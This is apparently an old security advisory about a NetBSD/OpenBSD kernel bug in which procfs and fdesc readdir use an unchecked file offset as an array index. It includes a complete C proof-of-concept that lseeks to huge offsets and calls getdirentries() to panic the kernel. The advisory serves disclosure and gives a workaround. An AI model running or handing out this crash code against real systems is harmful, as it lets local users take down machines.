COMMAND
kernel (procfs/fdesc)
SYSTEMS AFFECTED
NetBSD, OpenBSD
PROBLEM
cstone found a nasty bug in the fdesc and procfs filesystems
included with NetBSD and OpenBSD. Any user with access to a
mounted procfs/fdesc filesystem has the ability to cause a kernel
panic. The problem is that the readdir vnodeop for both procfs
and fdesc blindly uses the value of element uio_index of the
struct uio (passed in by VOP_READDIR()) as an index into an array,
without first properly checking its size. sys_getdirentries(),
which calls VOP_READDIR(), sets uio_index to the open file's
f_offset, which is modified by lseek (among other things). Here's
an illustration, taken from procfs_readdir() in OpenBSD's
procfs_vnops.c:
if (uio->uio_resid < UIO_MX)
return (EINVAL);
if (uio->uio_offset < 0)
return (EINVAL);
error = 0;
i = uio->uio_offset;
[...]
for (pt = &proc_targets[i];
uio->uio_resid >= UIO_MX && i < nproc_targets; pt++, i++) {
if (pt->pt_valid && (*pt->pt_valid)(p) == 0)
continue;
One way for a user to take advantage of this problem is as
follows: a user opens either a process-specific subdirectory (in
the case of procfs) or the root directory (in the case of fdesc).
The user then sets the file offset to an unreasonably large
(positive) number with lseek(). The user then calls
getdirentries(). A temporary solution is to unmount all instances
of procfs and fdesc. This is not likely to detrimentally affect
anything. Here's example code that tries getdirentries() calls
on directories after lseek()ing to high offsets. (warning: if
your system is vulnerable, this is very likely to cause a kernel
panic)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
main(int argc, char *argv[]) {
int dirfd;
unsigned long basep;
unsigned long hmm;
char buf[2048];
if(argc < 2) {
fprintf(stderr, "usage: %s directory\n", argv[0]);
exit(1);
}
if((dirfd = open(argv[1], O_RDONLY)) == -1) {
perror("open");
exit(1);
}
for(hmm = 0xf0000000; hmm <= 0xffffffff; hmm+=1) {
if(lseek(dirfd, hmm, SEEK_SET) == -1) {
perror("lseek");
exit(1);
}
/* address won't effectively change, but index variable used as a test
* will be very large; kernel's loop should continue and break
* something
*/
if(getdirentries(dirfd, buf, 2048, &basep) == -1) {
perror("getdirentries");
exit(1);
}
}
exit(0);
}
This problem has existed since at least as far back as OpenBSD
2.3 and NetBSD 1.3.2.
SOLUTION
Both NetBSD and OpenBSD have been contacted about this. This has
been fixed in the current OpenBSD tree and should soon be able
from your nearest anoncvs server.